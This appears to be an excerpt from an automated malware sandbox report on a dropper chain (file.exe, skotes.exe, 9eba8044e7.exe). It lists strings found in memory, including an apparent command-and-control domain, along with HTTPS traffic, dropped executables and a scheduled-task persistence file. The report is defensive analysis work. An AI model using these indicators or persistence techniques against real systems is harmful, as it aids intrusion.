Source: 9eba8044e7.exe, 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiP
Source: file.exe, 00000000.00000003.1710137219.00000000007EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiRy
Source: file.exe, 00000000.00000003.1695973685.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728112216.000000000080E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728050949.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696023139.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1724342554.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728197051.0000000000811000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696327370.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749526956.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apit
Source: 9eba8044e7.exe, 0000003B.00000003.2780256079.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/d
Source: file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785012541.000000000076F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 9eba8044e7.exe, 0000003B.00000003.2780256079.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 9eba8044e7.exe, 0000003B.00000003.2621305300.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622372839.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api:w
Source: file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785012541.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apin
Source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: file.exe, 00000000.00000003.1682248726.000000000527E000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1682306768.0000000005275000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682248726.000000000527C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1682306768.0000000005250000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1682306768.0000000005275000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682248726.000000000527C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1682306768.0000000005250000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: is-5MQTR.tmp.11.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fontcreator.exe, 00000008.00000003.2428352317.000000007EFEB000.00000004.00001000.00020000.00000000.sdmp, fontcreator.exe, 00000008.00000003.2427979025.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000000.2429939602.0000000000F91000.00000020.00000001.01000000.0000000F.sdmp, fontcreator.tmp, 0000000B.00000000.2436906092.0000000000B8D000.00000020.00000001.01000000.00000011.sdmp, fontcreator.tmp, 0000001A.00000000.2461870950.0000000000C7D000.00000020.00000001.01000000.00000014.sdmp, fontcreator.tmp, 00000020.00000000.2479248509.000000000091D000.00000020.00000001.01000000.00000016.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1711401293.000000000533F000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1711401293.000000000533F000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: fontcreator.exe, 00000008.00000003.2428352317.000000007EFEB000.00000004.00001000.00020000.00000000.sdmp, fontcreator.exe, 00000008.00000003.2427979025.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000000.2429939602.0000000000F91000.00000020.00000001.01000000.0000000F.sdmp, fontcreator.tmp, 0000000B.00000000.2436906092.0000000000B8D000.00000020.00000001.01000000.00000011.sdmp, fontcreator.tmp, 0000001A.00000000.2461870950.0000000000C7D000.00000020.00000001.01000000.00000014.sdmp, fontcreator.tmp, 00000020.00000000.2479248509.000000000091D000.00000020.00000001.01000000.00000016.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50126 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: random[1].exe1.7.dr	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_c294f4c5-4
Source: random[1].exe1.7.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_b15831b2-f

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name:
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: .idata
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name:
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: .idata
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: 9eba8044e7.exe.7.dr	Static PE information: section name:
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: 1553f88169.exe.7.dr	Static PE information: section name:
Source: 1553f88169.exe.7.dr	Static PE information: section name: .rsrc
Source: 1553f88169.exe.7.dr	Static PE information: section name: .idata
Source: 1553f88169.exe.7.dr	Static PE information: section name:
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name:
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: .idata
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name:
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: .idata
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F8F50	0_3_007F8F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F8F80	0_3_007F8F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F8F50	0_3_007F8F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F8F50	0_3_007F8F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC0F2	0_3_007FC0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FDFC9	0_3_007FDFC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0078AAE7	0_3_0078AAE7
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00A5E035	2_2_00A5E035
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00BCF16B	2_2_00BCF16B
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00BD0581	2_2_00BD0581
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00A6594D	2_2_00A6594D
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00BD9E83	2_2_00BD9E83
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Code function: 2_2_00BF1E51	2_2_00BF1E51
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EEE530	7_2_00EEE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F278BB	7_2_00F278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F28860	7_2_00F28860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F27049	7_2_00F27049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE4DE0	7_2_00EE4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F231A8	7_2_00F231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F22D10	7_2_00F22D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F2779B	7_2_00F2779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F17F36	7_2_00F17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE4B30	7_2_00EE4B30
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Code function: 59_3_01756968	59_3_01756968
